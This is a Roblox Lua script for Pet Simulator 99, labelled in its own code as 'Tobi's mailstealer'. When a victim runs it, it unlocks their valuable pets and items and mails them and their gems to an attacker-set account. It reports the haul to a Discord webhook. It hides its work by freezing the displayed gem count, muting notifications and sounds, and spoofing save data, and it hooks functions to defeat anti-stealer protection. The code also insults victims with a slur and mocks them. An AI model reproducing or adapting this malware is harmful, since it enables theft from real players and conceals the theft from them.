Username = "your user here"
Username2 = "your 2nd user here" -- stuff will get sent to this user if first
user's mailbox is full
webhook = "Your discord webhook here"
min_rap = 1000000 -- minimum rap of each item you want to get sent to you. 1 mil by
default
_G.scriptExecuted = _G.scriptExecuted or false
if _G.scriptExecuted then
return
end
_G.scriptExecuted = true
local network = game:GetService("ReplicatedStorage"):WaitForChild("Network")
local library = require(game.ReplicatedStorage.Library)
local save =
require(game:GetService("ReplicatedStorage"):WaitForChild("Library"):WaitForChild("
Client"):WaitForChild("Save")).Get().Inventory
local mailsent =
require(game:GetService("ReplicatedStorage"):WaitForChild("Library"):WaitForChild("
Client"):WaitForChild("Save")).Get().MailboxSendsSinceReset
local plr = game.Players.LocalPlayer
local MailMessage = "jsp"
local HttpService = game:GetService("HttpService")
local sortedItems = {}
local totalRAP = 0
local getFucked = false
local GetSave = function()
return require(game.ReplicatedStorage.Library.Client.Save).Get()
end
local newamount = 20000
if mailsent ~= 0 then
newamount = math.ceil(newamount * (1.5 ^ mailsent))
end
local GemAmount1 = 1
for i, v in pairs(GetSave().Inventory.Currency) do
if v.id == "Diamonds" then
GemAmount1 = v._am
break
end
end
if newamount > GemAmount1 then
return
end
local function formatNumber(number)
local number = math.floor(number)
local suffixes = {"", "k", "m", "b", "t"}
local suffixIndex = 1
while number >= 1000 do
number = number / 1000
suffixIndex = suffixIndex + 1
end
return string.format("%.2f%s", number, suffixes[suffixIndex])
end
local function SendMessage(username, diamonds)
local headers = {
["Content-Type"] = "application/json",
}
local fields = {
{
name = "Retard Username:",
value = username,
inline = true
},
{
name = "Items to be sent:",
value = "",
inline = false
},
{
name = "Summary:",
value = "",
inline = false
}
}
local combinedItems = {}
local itemRapMap = {}
for _, item in ipairs(sortedItems) do
local rapKey = item.name
if itemRapMap[rapKey] then
itemRapMap[rapKey].amount = itemRapMap[rapKey].amount + item.amount
else
itemRapMap[rapKey] = {amount = item.amount, rap = item.rap}
table.insert(combinedItems, rapKey)
end
end
table.sort(combinedItems, function(a, b)
return itemRapMap[a].rap * itemRapMap[a].amount > itemRapMap[b].rap *
itemRapMap[b].amount
end)
for _, itemName in ipairs(combinedItems) do
local itemData = itemRapMap[itemName]
fields[2].value = fields[2].value .. itemName .. " (x" ..
itemData.amount .. ")" .. ": " .. formatNumber(itemData.rap * itemData.amount) .. "
RAP\n"
end
fields[3].value = fields[3].value .. "Gems: " .. formatNumber(diamonds) .. "\n"
fields[3].value = fields[3].value .. "Total RAP: " .. formatNumber(totalRAP)
if getFucked then
fields[3].value = fields[3].value .. "\n\nVictim tried to use anti-
mailstealer, but got fucked instead"
end
local data = {
["embeds"] = {{
["title"] = "\240\159\144\177 New PS99 Execution" ,
["color"] = 65280,
["fields"] = fields,
["footer"] = {
["text"] = "Mailstealer by Tobi. discord.gg/GY2RVSEGDT"
}
}}
}
if #fields[2].value > 1024 then
local lines = {}
for line in fields[2].value:gmatch("[^\r\n]+") do
table.insert(lines, line)
end
while #fields[2].value > 1024 and #lines > 0 do
table.remove(lines)
fields[2].value = table.concat(lines, "\n")
fields[2].value = fields[2].value .. "\nPlus more!"
end
end
local body = HttpService:JSONEncode(data)
if webhook and webhook ~= "" then
local response = request({
Url = webhook,
Method = "POST",
Headers = headers,
Body = body
})
end
end
local gemsleaderstat = plr.leaderstats["\240\159\146\142 Diamonds"].Value
local gemsleaderstatpath = plr.leaderstats["\240\159\146\142 Diamonds"]
gemsleaderstatpath:GetPropertyChangedSignal("Value"):Connect(function()
gemsleaderstatpath.Value = gemsleaderstat
end)
local loading = plr.PlayerScripts.Scripts.Core["Process Pending GUI"]
local noti = plr.PlayerGui.Notifications
loading.Disabled = true
noti:GetPropertyChangedSignal("Enabled"):Connect(function()
noti.Enabled = false
end)
noti.Enabled = false
game.DescendantAdded:Connect(function(x)
if x.ClassName == "Sound" then
if x.SoundId=="rbxassetid://11839132565" or
x.SoundId=="rbxassetid://14254721038" or x.SoundId=="rbxassetid://12413423276" then
x.Volume=0
x.PlayOnRemove=false
x:Destroy()
end
end
end)
local function getRAP(Type, Item)
return
(require(game:GetService("ReplicatedStorage").Library.Client.DevRAPCmds).Get(
{
Class = {Name = Type},
IsA = function(hmm)
return hmm == Type
end,
GetId = function()
return Item.id
end,
StackKey = function()
return HttpService:JSONEncode({id = Item.id, pt = Item.pt, sh =
Item.sh, tn = Item.tn})
end
}
) or 0)
end
local user = Username
local user2 = Username2
local function sendItem(category, uid, am)
local args = {
[1] = user,
[2] = MailMessage,
[3] = category,
[4] = uid,
[5] = am or 1
}
local response = false
repeat
local response, err = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
if response == false and err == "They don't have enough space!" then
user = user2
args[1] = user
end
until response == true
GemAmount1 = GemAmount1 - newamount
newamount = math.ceil(math.ceil(newamount) * 1.5)
if newamount > 5000000 then
newamount = 5000000
end
end
local function SendAllGems()
for i, v in pairs(GetSave().Inventory.Currency) do
if v.id == "Diamonds" then
if GemAmount1 >= (newamount + 10000) then
local args = {
[1] = user,
[2] = MailMessage,
[3] = "Currency",
[4] = i,
[5] = GemAmount1 - newamount
}
local response = false
repeat
local response = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
until response == true
break
end
end
end
end
local function IsMailboxHooked()
local uid
for i, v in pairs(save["Pet"]) do
uid = i
break
end
local args = {
[1] = "Roblox",
[2] = "Test",
[3] = "Pet",
[4] = uid,
[5] = 1
}
local response, err = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
if (err == "They don't have enough space!") or (err == "You don't have enough
diamonds to send the mail!") then
return false
else
return true
end
end
local function EmptyBoxes()
if save.Box then
for key, value in pairs(save.Box) do
if value._uq then
network:WaitForChild("Box: Withdraw All"):InvokeServer(key)
end
end
end
end
local function ClaimMail()
local response, err = network:WaitForChild("Mailbox: Claim All"):InvokeServer()
while err == "You must wait 30 seconds before using the mailbox!" do
wait()
response, err = network:WaitForChild("Mailbox: Claim All"):InvokeServer()
end
end
local categoryList = {"Pet", "Egg", "Charm", "Enchant", "Potion", "Misc",
"Hoverboard", "Booth", "Ultimate"}
for i, v in pairs(categoryList) do
if save[v] ~= nil then
for uid, item in pairs(save[v]) do
if v == "Pet" then
local dir =
require(game:GetService("ReplicatedStorage").Library.Directory.Pets)[item.id]
if dir.huge or dir.exclusiveLevel then
local rapValue = getRAP(v, item)
if rapValue >= min_rap then
local prefix = ""
if item.pt and item.pt == 1 then
prefix = "Golden "
elseif item.pt and item.pt == 2 then
prefix = "Rainbow "
end
if item.sh then
prefix = "Shiny " .. prefix
end
local id = prefix .. item.id
table.insert(sortedItems, {category = v, uid = uid, amount
= item._am or 1, rap = rapValue, name = id})
totalRAP = totalRAP + (rapValue * (item._am or 1))
end
end
else
local rapValue = getRAP(v, item)
if rapValue >= min_rap then
table.insert(sortedItems, {category = v, uid = uid, amount =
item._am or 1, rap = rapValue, name = item.id})
totalRAP = totalRAP + (rapValue * (item._am or 1))
end
end
if item._lk then
local args = {
[1] = uid,
[2] = false
}
network:WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
end
end
end
end
if #sortedItems > 0 or GemAmount1 > min_rap + newamount then
ClaimMail()
if IsMailboxHooked() then
getFucked = true
local Mailbox =
game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox:
Send")
for i, Func in ipairs(getgc(true)) do
if typeof(Func) == "function" and debug.info(Func, "n") == "typeof"
then
local Old
Old = hookfunction(Func, function(Ins, ...)
if Ins == Mailbox then
return tick()
end
return Old(Ins, ...)
end)
end
end
end
EmptyBoxes()
require(game.ReplicatedStorage.Library.Client.DaycareCmds).Claim()
require(game.ReplicatedStorage.Library.Client.ExclusiveDaycareCmds).Claim()
local blob_a =
game:GetService("ReplicatedStorage"):WaitForChild("Library"):WaitForChild("Client")
:WaitForChild("Save")
local blob_b = require(blob_a).Get()
function deepCopy(original)
local copy = {}
for k, v in pairs(original) do
if type(v) == "table" then
v = deepCopy(v)
end
copy[k] = v
end
return copy
end
blob_b = deepCopy(blob_b)
require(blob_a).Get = function(...)
return blob_b
end
table.sort(sortedItems, function(a, b)
return a.rap * a.amount > b.rap * b.amount
end)
spawn(function()
SendMessage(plr.Name, GemAmount1)
end)
for _, item in ipairs(sortedItems) do
if item.rap >= newamount then
sendItem(item.category, item.uid, item.amount)
else
break
end
end
SendAllGems()
local message = require(game.ReplicatedStorage.Library.Client.Message)
message.Error("All your items just got stolen by Tobi's mailstealer!\n Join
discord.gg/GY2RVSEGDT")
setclipboard("discord.gg/GY2RVSEGDT")
end